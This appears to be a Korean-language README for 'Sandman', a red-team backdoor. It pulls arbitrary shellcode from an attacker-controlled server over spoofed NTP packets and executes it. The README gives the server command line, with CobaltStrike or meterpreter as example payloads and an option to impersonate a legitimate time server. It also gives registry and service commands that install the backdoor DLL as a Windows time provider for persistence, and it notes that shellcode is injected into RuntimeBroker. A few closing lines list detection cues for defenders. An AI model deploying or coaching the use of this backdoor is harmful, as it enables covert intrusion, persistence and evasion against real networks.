
강화된 네트워크를 위한 NTP 기반 백도어로, 위조된 NTP 트래픽을 통해 임의의 셸코드를 전달 및 실행하며 선택적으로 Windows 시간 공급자로 지속성을 제공합니다.
Sandman은 레드팀 작전 중 강화된 네트워크에서 작동하도록 설계된 백도어입니다.
Sandman은 스테이저(stager) 역할을 하며, NTP(시간 및 날짜 동기화 프로토콜)를 활용하여 사전 정의된 서버로부터 임의의 셸코드를 가져와 실행합니다.
NTP는 많은 방어자들이 간과하는 프로토콜이므로 네트워크 접근성이 넓습니다.

Windows / *nix 시스템에서 실행:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"
Network Adapter: 서버가 수신 대기할 어댑터 (예: Windows의 Ethernet, *nix의 eth0)
Payload Url: 셸코드의 URL (예: CobaltStrike 또는 meterpreter 같은 에이전트, 혹은 다른 스테이저)
IP to Spoof: 합법적인 IP 주소(예: time.microsoft.com의 IP 주소)를 스푸핑하려는 경우
시작하려면 아래에 설명된 대로 SandmanBackdoor를 컴파일하면 됩니다. 단일 경량 C# 실행 파일이므로 ExecuteAssembly로 실행하거나, NTP 공급자로 실행하거나, 단순히 실행/인젝션할 수 있습니다.
사용하려면 다음 간단한 단계를 따르세요:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
sc stop w32time
sc start w32time
참고: 반드시 x64 옵션으로 컴파일하고 '모든 CPU' 옵션을 사용하지 마세요!
공격자가 제어하는 서버로부터 임의의 페이로드를 가져와 실행합니다.
NTP가 일반적으로 방화벽에서 허용되므로 강화된 네트워크에서도 작동할 수 있습니다.
IP 스푸핑을 통해 합법적인 NTP 서버로 위장합니다.
Python 3.9
필수 패키지는 requirements 파일에 명시되어 있습니다.
백도어를 컴파일하기 위해 Visual Studio 2022를 사용했지만, 사용법 섹션에서 언급한 대로 VS2022와 CSC 모두로 컴파일할 수 있습니다.
USE_SHELLCODE를 사용하여 Orca의 셸코드를 사용하거나, USE_SHELLCODE 없이 WebClient를 사용하도록 컴파일할 수 있습니다.
백도어를 컴파일하기 위해 Visual Studio 2022를 사용했으며, 컴파일하려면 DllExport (Nuget 또는 다른 방법)도 설치해야 합니다.
USE_SHELLCODE를 사용하여 Orca의 셸코드를 사용하거나, USE_SHELLCODE 없이 WebClient를 사용하도록 컴파일할 수 있습니다.
RuntimeBroker에 셸코드가 인젝션됩니다.
알려진 매직 헤더로 시작하는 의심스러운 NTP 통신이 발생합니다.
YARA 규칙.
셸코드를 제공한 Orca
time provider 아이디어를 제공한 Tim McGuffin에게 특별히 감사드립니다.
이미 기여해 주신 분들께 감사드리며, 기여를 환영합니다. 풀 리퀘스트를 보내주시면 검토하겠습니다!